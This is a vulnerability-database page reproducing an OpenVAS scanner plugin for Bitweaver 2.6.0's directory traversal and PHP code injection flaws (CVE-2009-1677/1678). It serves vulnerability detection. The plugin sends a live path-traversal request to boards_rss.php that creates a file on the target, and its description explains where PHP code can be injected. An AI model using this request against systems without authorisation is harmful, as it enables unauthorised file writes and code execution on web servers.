Lucene search
+L

Bitweaver Directory Traversal And Code Injection Vulnerabilities

🗓️ 26 May 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 24 Views

Bitweaver Directory Traversal And Code Injection Vulnerabilitie

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-1677
12 May 200900:00
circl
circl
Circl
CVE-2009-1678
12 May 200900:00
circl
cve
CVE
CVE-2009-1677
18 May 200918:00
cve
cve
CVE
CVE-2009-1678
18 May 200918:00
cve
cvelist
Cvelist
CVE-2009-1677
18 May 200918:00
cvelist
cvelist
Cvelist
CVE-2009-1678
18 May 200918:00
cvelist
exploitdb
Exploit DB
Bitweaver 2.6 - 'saveFeed()' Remote Code Execution
12 May 200900:00
exploitdb
euvd
EUVD
EUVD-2009-1672
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2009-1673
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-1677
18 May 200918:30
nvd
Rows per page
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:bitweaver:bitweaver";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900356");
  script_version("2025-09-09T05:38:49+0000");
  script_tag(name:"last_modification", value:"2025-09-09 05:38:49 +0000 (Tue, 09 Sep 2025)");
  script_tag(name:"creation_date", value:"2009-05-26 15:05:11 +0200 (Tue, 26 May 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-1677", "CVE-2009-1678");
  script_name("Bitweaver Directory Traversal And Code Injection Vulnerabilities");
  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("secpod_bitweaver_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Bitweaver/installed");
  script_tag(name:"impact", value:"Successful exploitation will let the attacker to cause PHP code injection,
  directory traversal, gain sensitive information, and can cause arbitrary
  code execution inside the context of the web application.");
  script_tag(name:"affected", value:"Bitweaver version 2.6.0 and prior");
  script_tag(name:"insight", value:"Multiple flaws are due to improper handling of user supplied input in saveFeed
  function in rss/feedcreator.class.php file and it can cause following attacks.

  - PHP code injection via placing PHP sequences into the account 'display name'
    setting for authenticated users or in the HTTP Host header for remote users
    by sending a request to boards/boards_rss.php.

  - Directory traversal allow remote user to create or overwrite arbitrary file
    via a .. (dot dot) in the version parameter to boards/boards_rss.php.");
  script_tag(name:"solution", value:"Upgrade to Bitweaver version 2.6.1 or later.");
  script_tag(name:"summary", value:"Bitweaver is prone to directory traversal and code injection vulnerabilities.");
  script_xref(name:"URL", value:"http://secunia.com/advisories/35057");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34910");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/8659");
  script_xref(name:"URL", value:"http://www.bitweaver.org/articles/121");
  script_xref(name:"URL", value:"http://www.bitweaver.org/downloads/file/16337");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

# if short_open_tag in php.ini is off (because of "<?xml ..." preamble
# generating a parse error with short_open_tag = on), you can now launch
# commands:

req = http_get(item:string(dir + "/boards/boards_rss.php?version=/../../../../bookoo.php \r\n\r\n"), port:port);
res = http_send_recv(port:port, data:req);

if("Set-Cookie: BWSESSION" >< res &&
   egrep(pattern:"^HTTP/1\.[01] 200", string:res, icase:TRUE))
{
  req = http_get(item:string(dir + "/bookoo.php.xml \r\n\r\n"), port:port);
  res = http_send_recv(port:port, data:req);

  if(egrep(pattern:"^HTTP/1\.[01] 200", string:res, icase:TRUE) && "<title> Feed</title>" >< res) {
    security_message(port:port);
    exit(0);
  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation